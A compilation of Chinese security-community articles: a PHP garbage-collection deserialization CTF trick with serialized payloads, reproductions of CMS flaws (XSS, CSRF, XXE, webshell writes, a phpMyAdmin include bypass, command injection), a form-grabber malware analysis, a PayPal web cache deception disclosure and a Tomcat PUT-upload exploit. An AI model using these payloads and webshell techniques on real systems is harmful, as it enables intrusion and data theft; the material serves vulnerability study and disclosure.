这个时候就出现了问题，我自己引用我自己，自身一个，自己又被引用，所以计数器是2，但我将它销毁，才减1，此时明明已销毁，但还是1，所以无法进行回收，产生了内存泄漏。
#### 新的GC
每个php变量存在一个叫"zval"的变量容器中。一个zval变量容器，除了包含变量的类型和值，还包括两个字节的额外信息。
第一个是"is_ref"，是个bool值，用来标识这个变量是否是属于引用集合(reference
set)。通过这个字节，php引擎才能把普通变量和引用变量区分开来，由于php允许用户通过使用&来使用自定义引用，zval变量容器中还有一个内部引用计数机制，来优化内存使用。
第二个额外字节是"refcount"，用以表示指向这个zval变量容器的变量(也称符号即symbol)个数。所有的符号存在一个符号表中，其中每个符号都有作用域(scope)。简单的理解如下图所示：
具体的代码示例，网上的太多了。装个Xdebug插件就可以测试，这里就不赘述了。
#### 触发垃圾回收
该算法的实现可以在“Zend/zend_gc.c”（ <https://github.com/php/php-src/blob/PHP-5.6.0/Zend/zend_gc.c>
）中找到。每当zval被销毁时（例如：在该zval上调用unset时），垃圾回收算法会检查其是否为数组或对象。除了数组和对象外，所有其他原始数据类型都不能包含循环引用。这一检查过程通过调用gc_zval_possible_root函数来实现。任何这种潜在的zval都被称为根（Root），并会被添加到一个名为gc_root_buffer的列表中。
然后，将会重复上述步骤，直至满足下述条件之一：
1、gc_collect_cycles()被手动调用（ <http://php.net/manual/de/function.gc-collect-cycles.php> ）；
2、垃圾存储空间将满。这也就意味着，在根缓冲区的位置已经存储了10000个zval，并且即将添加新的根。这里的10000是由“Zend/zend_gc.c”（
<https://github.com/php/php-src/blob/PHP-5.6.0/Zend/zend_gc.c>
）头部中GC_ROOT_BUFFER_MAX_ENTRIES所定义的默认限制。当出现第10001个zval时，将会再次调用gc_zval_possible_root，这时将会再次执行对gc_collect_cycles的调用以处理并刷新当前缓冲区，从而可以再次存储新的元素。
由于现实环境的种种限制，手动调用gc_collect_cycles()并不现实。也就是说，我们要强行触发gc，要靠填满垃圾存储空间
#### 反序列化中触发垃圾回收以及问题解决
这个涉及太多php底层内容，搞了好久也只是一知半解，我这里将原理以及遇到的问题简单点说，具体示例以及资料我会放在文章末尾
由于反序列化过程允许一遍又一遍地传递相同的索引，所以不断填充空间。一旦重新使用数组的索引，旧元素的引用计数器就会递减。在反序列化过程中将会调用zend_hash_update，它将调用旧元素的析构函数（Destructor）。每当zval被销毁时，都会涉及到垃圾回收算法。这也就意味着，所有创建的数组都会开始填充垃圾缓冲区，直至超出其空间导致对gc_collect_cycles的调用。
但是问题也来了，反序列化期间所有元素的引用计数器值都大于完成后的值。这是为啥？因为反序列化过程会跟踪所有未序列化的元素，以允许设置引用。全部条目都存储在列表var_hash中。一旦反序列化过程即将完成，就会破坏函数var_destroy中的条目。
所以针对每个在特定元素上的附加引用，我们必须让引用计数增加2。大佬给出了一种方法：
ArrayObject的反序列化函数接受对另一个数组的引用，以用于初始化的目的。这也就意味着，一旦我们对一个ArrayObject进行反序列化后，就可以引用任何之前已经被反序列化过的数组。此外，这还将允许我们将整个哈希表中的所有条目递减两次。具体步骤如下：
1、得到一个应被释放的目标zval X；
2、创建一个数组Y，其中包含几处对zval X的引用：array(ref_to_X, ref_to_X, […], ref_to_X)；
3、创建一个ArrayObject，它将使用数组Y的内容进行初始化，因此会返回一次由垃圾回收标记算法访问过的数组Y的所有子元素。
通过上述步骤，我们可以操纵标记算法，对数组Y中的所有引用实现两次访问。但是，在反序列化过程中创建引用将会导致引用计数器增加2，所以还要找到解决方案：
4、使用与步骤3相同的方法，额外再创建一个ArrayObject。
一旦标记算法访问第二个ArrayObject，它将开始对数组Y中的所有引用进行第三次递减。我们现在就有方法能够使引用计数器递减，可以将该方法用于对任意目标zval的引用计数器实现清零。
虽然能够清零任意目标zval的引用计数器，但垃圾回收算法依然没有释放，但这太高深的东西我已经头疼了，资料就是这些，知道大致原理，我们回归到题目上来。
#### 例子
看一段代码
<?php
highlight_file(__FILE__);
$flag ="Tajang{CTFking}";
class B {
function __destruct() {
echo "successful\n";
echo $flag;
}
}
unserialize($_GET[1]);
throw new Exception('中途退出啦');
我们假如要执行`__destruct`方法，打印flag，就得绕过这个`throw new
Exception`。因为`__destruct`方法是在该对象被回收时调用，而exception会中断该进程对该对象的销毁。
所以我们需要强制让php的GC（垃圾回收机制）去进行该对象的回收。上面的原理已经说了方法：需要反序列化一个数组，然后再利用第一个索引，来触发GC
<?php
class B{
function __construct(){
echo "Tajang";
}
}
echo serialize(array(new B, new B));
?>
得到`a:2:{i:0;O:1:"B":0:{}i:1;O:1:"B":0:{}}`，我们利用第一个索引，所以将后面改为第一个元素索引即可，也可以多加几个触发gc。payload：`a:2{i:0;O:1:"B":0:{}i:0;i:0;}`
回到正题，这个用垃圾回收机制的题解也就出来了
<?php
class B{
public $p;
public function __construct(){
$this->a = new A();
}
}
class A{
public $a;
public function __construct(){
$this->a = new Fun();
}
}
class Fun{
private $func = 'call_user_func_array';
public function __construct()
{
$this->func ="Test::getFlag";
}
}
$o = array(new B, new B);
$a = serialize($o);
echo urlencode(str_replace('O:3:"Fun":1:','O:3:"Fun":2:',$a));
多添加几次第一个索引达到多次触发gc更好，再用空格隔开更好，于是最后三行可以修改为如下：
$o = array(new B, new B);
$tmp = "i:0;".serialize(new B);
$a = serialize($o);
$z = str_replace($tmp,$tmp." ",$a);
echo urlencode(str_replace('O:3:"Fun":1:','O:3:"Fun":2:',$z));
结果都是一样的
大佬坠入Java深渊，忘记了这个GC。只能自己找、自己理解了。搞了好久查了好多的资料，还读不懂，谷歌的都是英文。本文引用了一些文章内容，还有自己的总结以及理解，如有错误，请各位指出，定会及时修改。
资料：
> [Breaking PHP’s Garbage Collection and
> Unserialize](https://www.evonide.com/breaking-phps-garbage-collection-and-> unserialize/)（众多文章的源头，全英文不太好读懂）
>
> [如何攻破PHP的垃圾回收和反序列化机制（上）](https://www.anquanke.com/post/id/149421)
>
>
> [如何攻破PHP的垃圾回收和反序列化机制（下）](https://www.anquanke.com/post/id/149424)（这两篇是译文，翻译的很好）
>
>
> [php反序列化小trick之强制GC](https://blog.nan1g.cloud/2021/11/02/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%B0%8Ftrick%E4%B9%8B%E5%BC%BA%E5%88%B6GC/)（写完之后发现这个作者的demo很好，借用一下） | 社区文章 |
**一、前言**
为了更好地熟悉白盒审计以及漏洞挖掘方法，简单记录一下学习过程中复现的cms/系统通杀漏洞
**二、finecms (v5.3.0)存在存储型xss漏洞**
该漏洞是由于管理员后台记录错误日志时未做过滤所导致
在\finecms\system\core\Log.php文件的write_log方法中，fwrite()未对$msg的内容作过滤处理
接着追溯调用write_log方法的位置：\finecms\system\core\Common.php
再结合错误日志功能点且调用log_message方法这俩条件，筛选出最有可能被利用的文件位置：\finecms\system\core\Exceptions.php
最后追溯调用show_404方法的位置：\finecms\system\core\CodeIgniter.php
在此文件全文追踪$class、$method后，不难发现，它俩的作用是调用xx类中的xx方法，而当用户传入未在Router中设置的传参值并拼接后，传参值将通过
-- show_404() => log_message() =>
write_log()，进而写入错误日志中。若传参值存在js恶意代码，则当管理员查看错误日志时，自身的cookie就将暴露在攻击者眼前。
漏洞复现
首先构造恶意传参：
接着以管理员身份登录后台，查看错误日志
最后利用xss平台打到的cookie登录后台
**三、dedecms (v5.7 SP1)存在csrf漏洞**
首先在后台的“文件式管理器”这一功能点写个小马
接着在保存小马的同时，利用burp抓包并生成csrf poc
然后精简一下介个poc，比如定义validate函数，等待100ms自动点击生成的csrf poc
最后以管理员身份登录后台，再点击此poc生成的html页面，小马就成功写入后台了
**四、scms (build20190722)存在xxe实体注入漏洞**
该漏洞是由于未过滤用户提交的xml数据所导致
审计该cms后，不难得出，/weixin/index.php中存在危险函数 —
simplexml_load_string()，它将$postArr转化为对象，而$postArr中的伪协议 —
php://input（获取post数据）则可以被利用，若在post传参中加入xml恶意代码，则可以利用simplexml_load_string()成功执行
需要注意的是，触发上述程序的条件是signature不为空且echostr必须为空，否则会执行exit停止执行下面的程序
但最重要的还是$postArr传参的内容，鉴于该cms没有输出点，所以需要搭建xxe平台接收文件内容
看我三部曲
POC（这里读取文件采用了php伪协议 + base64的方式。另外，文件的路径可以是相对路径）
康康效果
最后再把这段内容用base64解码就OK了
注：要利用此漏洞去测试真实站点需要公网ip
**五、douphp (v1.5 Release 20190711)存在代码执行漏洞**
通过自建douphp这款cms的测试环境后，发现其config.php这一文件可能存在双引号二次解析的代码执行漏洞
但要利用该漏洞，必须删除install.lock，以达到解锁进而重新安装程序的目的
而后台的某一文件上传功能中，存在unlink()函数貌似可以被利用
通过die()函数得知其绝对路径为：C:/phpstudy/WWW/douphp/m/theme/default/images/logo.jpg。如果$mobile_logo可控，则可以通过../跳至父级目录的方法，指定install.lock并删除
追踪$mobile_logo
发现其由数据库中的值所决定，那么就可以借此来实现删除install.lock
再次思考该如何改值，发现一条update value的sql语句，其中value通过post传参即可修改其为任意值
漏洞复现
上传文件时，修改value
执行后台的unlink函数
跳转至安装界面
因为引号会被转义，这里采用更加隐蔽的写马方式-- **${file_put_contents($_REQUEST[6], $_REQUEST[66])}**
写入一句话木马并成功访问
**六、usualtoolCMS（8.0 Release）存在验证码绕过、任意文件写入漏洞**
首先进入后台登录页面，绕过图片验证码
接着发现a_templetex.php文件存在危险函数file_put_contents
审计一下，不难发现，只要满足传参x=m，$filename和$content即可任人摆布
写入一句话木马并成功访问
**七、phpmyadmin（4.8.1-all-languages）存在任意文件包含漏洞**
通过查询危险函数include，锁定/index.php存在可控参数target
逐一判断if内的五个条件
意味着必须给target传参赋值
意味着target传参必须为字符串
意味着target不能以index开头（绕过方法 — a/../index）
意味着target传参值不能为黑名单内的值（绕过方法 — a/../import.php）
重头戏来了
追溯该方法
由于只传了一个target实参，那么$whitelist的值将是当前类中$goto_whitelist的值
接着搜索可利用的返回值为ture的代码块
着重观察$_page。首先将$page解码赋值给$_page，接着利用mb_substr以及mb_strpos提取$_page子字符串，以此检测传参内容是否满足白名单机制
综上，可以构造这样的传参值：sql.php%3F/../123.php，这不就既绕过了白名单机制，又避免了include中包含标点符号的尴尬了吗
漏洞复现
进入后台后，查询data目录
接着在任意数据库中新建包含一句话木马字段的表
开整
验证一句话木马是否生效
**八、duomicms（X2.0）存在变量覆盖漏洞**
通过代码审计可得duomicms的common.php文件中存在变量覆盖漏洞，这一段可以接收用户的get提交、post提交以及cookie参数，并将接收到的参数依次放至$_request，接着使用foreach遍历数组中的值，再将获取到的数组键名作为变量，数组中的值作为变量的值。如传参
— _SESSION[duomi_admin_id]=1会将原有的$_SESSION值覆盖，从而伪造管理员session
而获取正确的管理员session，有两种方法 — 1、读源码；2、在本地以管理员身份登录后台，从而获取管理员session
这里采用plan 2 — 在check.admin.php文件中强行获取管理员session
exp大致能构建出来了，只需找到 **session_start — session若开始使用，则必须写明**
以及调用common.php的文件即可，如comment.php
本地访问一哈
拿下
**九、IBOS（4.5.5 PRO）存在命令执行漏洞**
该漏洞由于/system/core/utils/Database.php中的危险函数shell_exec所导致
重点关注$dumpFile
再瞅瞅$backupFileName
康康如何利用$filename
而getRequest则隶属于YII框架，用于获取 $_GET 和 $_POST 的值
整条利用链梳理完毕后，仍需注意两点：1、dumpfile会被强制加后缀；2、$filename被禁用了‘.’
这时就需要其它知识储备了，比如恰好知道可以利用‘&’做到一条语句执行多道命令，又灵光乍现想到绕过拦截规则‘.’ --%变量名:~x,y%：即对变量从第x个元素开始提取，总共取y个字符。（针对目标的环境变量，但各主机的环境变量大同小异（windows自带））
即可突破限制
漏洞复现
进入后台提交备份文件名
更改数据包（应对‘&’进行url编码，避免破坏原先数据包的传参个数）
验证一句话木马是否写入
**十、信呼协同办公系统（v1.9.1）存在存储型xss漏洞以及cgi解析漏洞**
先看存储型xss
在首页的待办/处理模块中，有追加说明这一功能可以为我所用
成功触发存储型xss
再康cgi解析漏洞
同样在追加说明这块，上传图片马
返回文件路径
cgi解析漏洞怼上去
**待更新** | 社区文章 |
# 【技术分享】Form-Grabber恶意软件的详细分析
|
##### 译文声明
本文是翻译文章，文章来源：stormshield.com
原文地址：<https://thisissecurity.stormshield.com/2017/09/28/analyzing-form-grabber-malware-targeting-browsers/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**介绍**
****
作为Stormshield安全情报团队的一名新成员，我的第一个任务就是分析这款form-grabber恶意软件，在这种恶意软件的帮助下，攻击者可以利用基于Web浏览器的注入方法来窃取目标用户的密码。在这篇文章中，我将跟大家详细介绍这款恶意软件的技术细节，其中的重点是Web浏览器的注入技术。
这款恶意软件已经有一定“年纪”了，因为从编译后代码的时间戳来看，这款恶意软件早在2012年就已经存在了。但是待会儿等我介绍完之后你就会发现，虽然这款恶意软件已经“上年纪”了，但它仍然能够高效地攻击很多最新版本的浏览器（32位模式）。安全研究专家[Xylitol](https://twitter.com/Xylit0l)已经在[VirusTotal](https://www.virustotal.com/en/file/9cdb1a336d111fd9fc2451f0bdd883f99756da12156f7e59cca9d63c1c1742ce/analysis/1355250283/)平台上传了一份这款恶意软件的样本，但是目前互联网上还没有针对这款恶意软件的详细分析报告。由于这部分内容的缺失，这种威胁的传播方法很可能不为人所知，这也是我写这篇文章的原因。
**脱壳**
****
我们所分析的样本加了两层壳，第一层是UPX的壳，这个可以轻松脱壳。第二层同样非常简单，它利用了一种反调试技巧读取PEB中的‘
**BeingDebugged**
’标记。除此之外，这里还实现了一种反混淆技术，即样本使用了一个1字节密钥（0x0F）来进行XOR运算并输出解密后的PE域（缓冲区使用
**VirtualAlloc()** 分配）。在调用了 **VirtualAlloc** ()之后，我们可以使用下列指令来识别第二阶段的壳是否结束：
push 0x666 ; magic value checked after unpacking
push ebx ; base address of the unpacked PE
call eax ; leads to the unpacked PE original entry point
因此我们可以得知，这款恶意软件在执行第一个功能时需要接收两个输入参数：
**脱壳后的PE基地址；**
**一个可当作密钥使用的值；**
如果这个值不是恶意软件所定义的（0x666），那么它就会停止运行。
**RC4加密**
****
为了防止逆向分析或其他基于检测的静态分析方法，这款恶意软件使用了RC4算法来加密字符串。其中被加密的绝大多数都是与Web浏览器注入相关的DLL、函数名称或参数，它们可以使用
**LoadLibraryA()** 和 **GetProcAddress()**
来动态解析导入的代码库。在地址data+0x30中有一个结构体数组，其中包含有每一个加密字符串的地址。这个结构体如下代码所示：
struct rc4_encrypted_string {
const char *string; // pointer to the encrypted string stored in .rdata
unsigned int length; // length of the string
}
因此，为了解密字符串，恶意软件使用了一个函数来发送结构体数组中加密字符串的个数，并以此来推算其所在地址和长度。在一个IDA
Python脚本的帮助下，我们可以轻松找到这个函数的交叉引用，并了解到字符串的个数，并执行解密。
运行脚本之后，我们可以发现很多有意思的字符串，例如DLL或函数名等等：
用于解密的RC4密钥长度为128位，其地址存放于data+0x14。在这个样本中，其密钥为：27F56A32B728364FBA109F983D148023。
**主要的执行流程**
****
这款恶意软件的主线程用来执行一个无限循环，然后在循环中枚举出目标操作系统中正在运行的所有进程，最终找出一个浏览器程序并实现线程注入。枚举过程主要使用了以下几个Windows
API函数：
**CreateToolhelp32Snapshot()**
**Process32FirstW()**
**Process32NextW()**
这款恶意软件还会寻找任何名字符合以下字符串的进程，并尝试向其中注入一个线程：
**chrome.exe**
**firefox.exe**
**opera.exe**
**iexplorer.exe**
**WebKit2WebProcess.exe (Safari)**
**Form-grabber线程注入**
****
一旦其找到了匹配的进程名称，它便会调用 **OpenProcess()** 来获取目标进程的控制权。接下来，恶意软件将调用
**VirtualAlloc()** 在目标进程的地址空间中分配一个执行的内存区域。这一块内存区域可以用来存储当前运行的PE文件副本（使用
**WriteProcessMemory()** 实现）。现在，整个PE文件都会被映射到目标进程的地址空间中，最后再调用
**CreateRemoteThread()** 来运行注入的线程。
由于这款恶意软件不会向线程函数传递任何的变量，因此远程线程不需要知道它到底是在哪个进程中运行的。
**内联钩子**
****
内联钩子（Inline
Hooking）是一种专门用来拦截函数调用的方法，这种方法可以执行一种旁路函数来访问原始函数的参数信息。在我们的分析样本中，它使用了这种内联钩子来拦截浏览器在发送HTTP请求时所调用的函数，并访问其中包含的敏感数据，例如用户名、密码或信用卡号等等。
为了设置内联钩子，这款恶意软件使用了一个全局结构体来存储挂钩函数的信息（存储在.data域）。这种结构体如下代码所示：
// Function pointer definition for calling HTTPSendRequestA()
typedef BOOL (*http_send_request_prototype_t)(
_In_ HINTERNET hRequest,
_In_ LPCTSTR lpszHeaders,
_In_ DWORD dwHeadersLength,
_In_ LPVOID lpOptional,
_In_ DWORD dwOptionalLength
);
struct direct_injection_hook {
http_send_request_prototype_t hooked_function; // address of Wininet.dll!HttpSendRequestA
http_send_request_prototype_t detour_function; // address of the function written by the author
unsigned int count_saved_bytes; // number of bytes overriden at Wininet.dll!HttpSendRequestA
void (*return_to_dll)(void); // address of user-allocated page (RWX) used to execute the original
// hooked function after execution of the detour function
}
下面是用于设置内联钩子的函数反编译版本，代码位于地址.text+0x40：
**挂钩后的执行流程**
****
当设置好了钩子之后，如果iexplorer.exe调用了 **Wininet.dll!HttpSendRequestA** ，则执行流程如下：
1\. 执行 **Wininet.dll!HttpSendRequestA** 的第一条指令，并跳转到旁路函数。
2\. 旁路函数访问已挂钩函数的参数信息，例如HTTP Payload，并从中提取出敏感数据。
3\. 旁路函数调用跳转函数（return_to_dll），并存储 **Wininet.dll!HttpSendRequestA**
执行过的所有指令，最终跳转到 **Wininet.dll!HttpSendRequestA** +5然后执行。
4\. **Wininet.dll!HttpSendRequestA** 剩下的指令会继续执行，直到函数返回并执行HTTP请求。
5\. 旁路函数运行完之后会返回到原函数，然后调用 **Wininet.dll!HttpSendRequestA** 。
完整的执行流程请大家参考下面这张图片：
**浏览器与挂钩函数信息**
****
下面这个表格显示的是浏览器可注入的DLL和函数名等信息：
某些函数是在HTTP层运行的，这也就意味着当用户浏览一个HTTPS网站时，函数钩子在将信息传递给TLS层并进行加密之前，它首先拼接出的会是HTTP请求。剩下的操作全部都会在TCP层执行，这也就意味着浏览一个HTTPS网站将会导致恶意软件挂钩TLS记录Payload并通过套接字进行发送，而这对于这款恶意软件来说没有任何的实际意义。
该恶意软件基于 **BaseHTTPServer** 所创建出的类代码如下，其主要功能就是捕获POST方法：
import BaseHTTPServer
import urlparse
browser_mapping = {
0 : 'chrome.exe',
1 : 'chrome.exe',
2 : 'firefox.exe',
3 : 'opera.exe',
4 : 'WebKit2WebProcess.exe', # Safari
5 : 'iexplorer.exe'
}
HOST='localhost'
PORT=80
XOR_KEY=0x07
class FormGrabberHTTPDecoder(BaseHTTPServer.BaseHTTPRequestHandler):
def do_POST(self):
request_line = self.requestline
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
decoded_data = urlparse.parse_qs(post_data)
malware_version = decoded_data['v'][0]
injected_browser = browser_mapping[int(decoded_data['t'][0])]
username_hostname = decoded_data['h'][0]
hexdumped_post_data = decoded_data['c'][0]
xored_post_data = hexdumped_post_data.decode('hex')
unxored_post_data = [chr(ord(c) ^ XOR_KEY) for c in xored_post_data]
unxored_post_data = ''.join(unxored_post_data)
d1 = ('-' * 79)
d2 = ('*' * 79)
print('Received HTTP request line: {}'.format(request_line))
print('Received HTTP body:n{}n{}n{}'.format(d1, post_data, d1))
print('Malware version: {}'.format(malware_version))
print('Injected browser: {}'.format(injected_browser))
print('Username and Hostname: {}'.format(username_hostname))
print('Intercepted HTTP request:n{}n{}n{}'.format(
d1, unxored_post_data, d1))
print(d2)
if __name__ == '__main__':
s = BaseHTTPServer.HTTPServer((HOST, PORT), FormGrabberHTTPDecoder)
s.serve_forever()
下面是脚本的输出样本，我们尝试通过facebook.com的身份验证，测试环境为IE浏览器+HTTPS：
[](http://p0.qhimg.com/t01dbc44cb7b30411a8.png)
**浏览器测试**
****
因为这款form-grabber恶意软件在我分析的时候已经存在了五年之久了，所以我们也很想知道为什么它至今仍然可以攻击很多最新版本的浏览器。实际上在这些年里，浏览器的架构一直都在不断地升级和改进，而这款恶意软件所挂钩的部分函数现在已经不再使用了。下面这个表格所显示的内容是这款恶意软件在Windows
7操作系统（SP1，64位）中可以成功攻击的浏览器版本信息：
有意思的是，除了Firefox之外，该恶意软件所有的函数钩子都可以有效地对所有最新版本的32位浏览器实施攻击。
**总结**
****
这是一款十分精巧的form-grabber型恶意软件，它使用了一些反调试技术，并对函数调用进行了混淆处理。除此之外，它还使用了RC4算法来加密函数以及DLL名称来执行代码库的动态导入。众所周知，内联钩子是一种用于拦截函数调用的著名技术，而且对于目前最新版本的浏览器来说这种技术仍然是非常有效的。但是，这款恶意软件的开发者并没有花时间去优化所有浏览器HTTP层的钩子函数，因此它很有可能无法针对那些通过https来发送的请求进行拦截和攻击。
**额外信息**
****
MD5: cb066c5625aa85957d6b8d4caef4e497
SHA1: bd183265938f81990260d88d3bb6652f5b435be7
SHA256: 9cdb1a336d111fd9fc2451f0bdd883f99756da12156f7e59cca9d63c1c1742ce
VirusTotal的分析报告：【[传送门](https://www.virustotal.com/en/file/9cdb1a336d111fd9fc2451f0bdd883f99756da12156f7e59cca9d63c1c1742ce/analysis/1355250283/)】 | 社区文章 |
你是否曾想过你只需要访问如：<https://www.paypal.com/myaccount/home/stylesheet.css>或[[img]https://www.paypal.com/myaccount/settings/notifications/logo.png[/img]](https://www.paypal.com/myaccount/settings/notifications/logo.png)这样的链接就可能会泄露你的敏感数据，甚至允许攻击者控制你的帐户？
Web缓存欺骗是一种新的Web攻击向量，这种攻击技术的出现使得多种Web缓存技术和框架面临风险。
**Web缓存和服务器反应的一点介绍**
很多网站通常都倾向于使用web缓存功能（例如通过CDN，负载均衡器或简单的反向代理）。使用Web缓存功能的目的很简单：存储那些经常检索的文件，以减少Web服务器响应的延迟。
让我们来看一个网络缓存的例子。网站<http://www.example.com通过配置了反向代理作为Web缓存。存储在服务器上并需要返回用户个人内容（如http://www.example.com/home.php）的动态网页必须要按不同的用户动态的创建，因为每个用户的数据是不同的。这种数据，或至少其个性化的这一部分，是不会被缓存的。>
更合理及常见的缓存内容都是静态或公共文件：样式表（css），脚本（js），文本文件（txt），图像（png，bmp，gif）
等，在大多数人的正常意识中，这些文件通常不会包含用户的任何敏感信息。此外，在那些关于Web缓存配置的各种最佳实践的文章中，都会这样说：“建议缓存所有公开的静态文件并忽略其HTTP缓存头信息”。
2.网络缓存欺骗攻击依赖于浏览器和网络服务器的反应，与RPO攻击很相似，下面两篇文章对RPO攻击做了一些解释。
那么访问了像<http://www.example.com/home.php/non-existent.css这样的网址时会发生什么？（译者注：也就是在[http://www.example.com/home.php](http://www.example.com/home.php)后面加上缓存的文件类型，文件名可以是不存在的）>
浏览器会发出对该网址的GET请求。有趣的是服务器的反应 ——
服务器会如何解释请求的URL？根据服务器的Web缓存技术和配置（对于不同的服务器，URL的结构可能略有不同），服务器返回了<http://www.example.com/home.php的内容。是的，浏览器地址栏的网址仍然为[http://www.example.com/home.php/non-existent.css](http://www.example.com/home.php/non-existent.css)。HTTP标头信息与直接访问http://www.example.com/home.php的标头信息相同：缓存标头信息和内容类型相同（在这种情况下为text>
/ html）。
如果我们访问<http://www.example.com/home.php/non-existent.css，会发生什么情况，注意，在代理服务器上已经设置了对静态文件进行网络缓存。服务器会忽略此类文件的缓存头？让我们来分析一下这个过程：>
Oh！
**漏洞利用**
如果攻击者诱骗已登录的用户访问[[img]http://www.example.com/home.php/logo.png[/img]](http://www.example.com/home.php/logo.png)，则该网页（包含用户个人信息的网页）将被缓存到缓存服务器上，因此这些被缓存的个人信息就可以公开访问。
如果响应的HTTP主体信息中包含（由于某种原因）了会话标识符，安全密保问题或CSRF令牌，则可能变得更糟。
在这种时候，所有的攻击者都会自己访问缓存页面然后公开这些被缓存的用户隐私数据。
**一件有趣儿的小事**
通常，不需要进行身份验证即可访问网站缓存的公共静态文件。因此，缓存的文件是公共的且可访问的 ——不需要身份验证。
**条件**
因此，基本上，需要两个条件来确认网站是否存在此漏洞：
**缓解措施**
1\. 将缓存文件的缓存机制配置为仅当缓存文件的HTTP缓存标头允许时才进行缓存。这是解决这个问题的根本的解决办法。
2\. 如果缓存组件提供Content-Type选项的话，请将缓存组件配置为按文件的内容类型进行缓存。
3\. 配置Web服务器，以便对于像<http://www.example.com/home.php/non-existent.css>之类的页面，Web服务器不会返回带有 “home.php”
的URL的内容。相反的，服务器应该用404或302来响应这些URL的请求。
**PayPal 网站中的Web缓存欺骗——漏洞披露**
PayPal很容易受到网络缓存欺骗攻击。目前该漏洞现已修复，并已公开披露。
利用此漏洞可能泄漏的用户信息：
一些漏洞页面的示例：
下面是可用于在PayPal网站上缓存页面的各种静态文件扩展名（超过40个）：
**缓存过期**
我测试了缓存文件过期的时间。看起来，在被访问一次（第一次）后，文件被缓存大约5个小时。如果在该期间再次访问，则会延长过期时间。很明显，这么长的时间段足以让攻击者在缓存文件过期之前“捕获”到缓存文件，并且通过不断地监视此URL，获取他可以在创建缓存文件时要公开的用户隐私信息。
**Demo视频**
主页：<https://www.paypal.com/myaccount/home>
Paypal主页的Web缓存欺骗攻击Demo视频：<https://youtu.be/pLte7SomUB8>
个人设置页面：<https://www.paypal.com/myaccount/settings>
Paypal个人设置页面的Web缓存欺骗攻击Demo视频：<https://youtu.be/e_jYtALsqFs>
历史页面：<https://history.paypal.com/cgi-bin/webscr?cmd=_history-details>
Paypal历史页面的Web缓存欺骗攻击Demo视频：<https://youtu.be/dgZVe7D8SRE>
在我报告了此漏洞后，PayPal奖励了我3,000美刀，;）。
**通过Web缓存欺骗技术劫持用户**
我在其他应用程序中也发现了此漏洞，不过不幸的是，由于一些原因，我不能向公众公开（更糟的是，还有一些不错的Demo视频）。在这些应用程序中，可以完全控制应用程序的用户。这完全是有可能的，因为恢复用户密码的会话ID或安全密保问题的答案包含在了易受攻击的网页的HTML代码中。非常感谢Sagi
Cohen的帮助。
**IIS演示视频**
在下面的视频中，网站托管在了IIS负载均衡器后面的两个Web服务器上，并安装了应用程序请求路由（ARR）。
成功登录的用户将被重定向到“welcome.php”的页面，其中包含其个人信息内容。负载均衡器配置为对所有的CSS文件进行缓存，并忽略这类文件的HTTP缓存头。
已登录的用户在访问<http://www.sampleapp.com/welcome.php/stylesheet.css>时，IIS负载均衡器会将“welcome.php”页面引用为一个目录，并在缓存目录中创建它，然后缓存“welcome.php”的内容，其中包含了用户的隐私内容信息，缓存的文件名为'stylesheet.css'。
IIS上的Web缓存欺骗攻击Demo视频：<https://youtu.be/zMOVRPEhjtI>
本文参考来源于omergil.blogspot，如若转载，请注明来源于嘶吼：
<http://www.4hou.com/technology/3536.html> | 社区文章 |
一. 漏洞简介
CVE-2017-12615 看没人发， 来发一个。
漏洞描述：Tomcat CVE-2017-12615远程代码执行漏洞 / CVE-2017-12616信息泄漏。
2017年9月19日，Apache
Tomcat官方确认并修复了两个高危漏洞，漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间，在一定条件下，攻击者可以利用这两个漏洞，获取用户服务器上
JSP 文件的源代码，或是通过精心构造的攻击请求，向用户服务器上传恶意JSP文件，通过上传的 JSP 文件
，可在用户服务器上执行任意代码，从而导致数据泄露或获取服务器权限，存在高安全风险。
CVE-2017-12616：信息泄露漏洞
当 Tomcat 中使用了 VirtualDirContext 时，攻击者将能通过发送精心构造的恶意请求，绕过设置的相关安全限制，或是获取到由
VirtualDirContext 提供支持资源的 JSP 源代码。
CVE-2017-12615：远程代码执行漏洞
当 Tomcat 运行在 Windows 主机上，且启用了 HTTP PUT 请求方法（例如，将 readonly 初始化参数由默认值设置为
false），攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后，JSP 文件中的代码将能被服务器执行。
通过以上两个漏洞可在用户服务器上执行任意代码，从而导致数据泄露或获取服务器权限，存在高安全风险。
影响版本:
CVE-2017-12616影响范围：Apache Tomcat 7.0.0 - 7.0.80
CVE-2017-12615影响范围： Apache Tomcat 7.0.0 - 7.0.79
参考链接：
CVE-2017-12615：
<https://tomcat.apache.org/security-7.html>
<http://tomcat.apache.org/securit> ... pache_Tomcat_7.0.81
二. 利用条件
CVE-2017-12615漏洞利用需要在Windows环境，且需要将 readonly 初始化参数由默认值设置为 false，经过实际测试，Tomcat
7.x版本内web.xml配置文件内默认配置无readonly参数，需要手工添加，默认配置条件下不受此漏洞影响。
CVE-2017-12616漏洞需要在server.xml文件配置VirtualDirContext参数，经过实际测试，Tomcat
7.x版本内默认配置无VirtualDirContext参数，需要手工添加，默认配置条件下不受此漏洞影响。
根据绿盟最新研究在linux下也有影响，建议关闭PUT方法。
三. 漏洞测试
3.1白盒测试
开发人员检查是否使用受影响范围内的Apache Tomcat版本
3.2黑盒测试
1.首先搭建tomcat环境，需要预装下jdk，安装流程和配置参考：
<http://www.ouyaoxiazai.com/soft/stgj/133/45254.html>
搭建成功后，访问 <http://10.74.53.11:8080/>
2.开启PUT方法
安装好后，修改 C:\Program Files\Apache Software Foundation\Tomcat 7.0\conf\web.xml
配置文件，增加 readonly 设置为 false
3.然后使用burpsuite抓包把GET方法转为PUT方法写入数据，如下：
注意：PUT路径要用/结束，写入成功后，会返回201或者200，如果返回404说明没有写/，使用
写入成功后，在服务器的 web目录，如下
C:\Program Files\Apache Software Foundation\Tomcat
7.0\webapps\ROOT增加了test.jsp文件
4.访问上传的木马
[http://10.74.53.11:8080/test.jsp?pwd=023&i=whoami](http://10.74.53.11:8080/test.jsp?pwd=023&i=whoami)
复现参考：<https://www.secfree.com/article-399.html>
POC&EXP参考：
<https://github.com/fupinglee/MyP> ... mp;isappinstalled=1
四. 解决方案
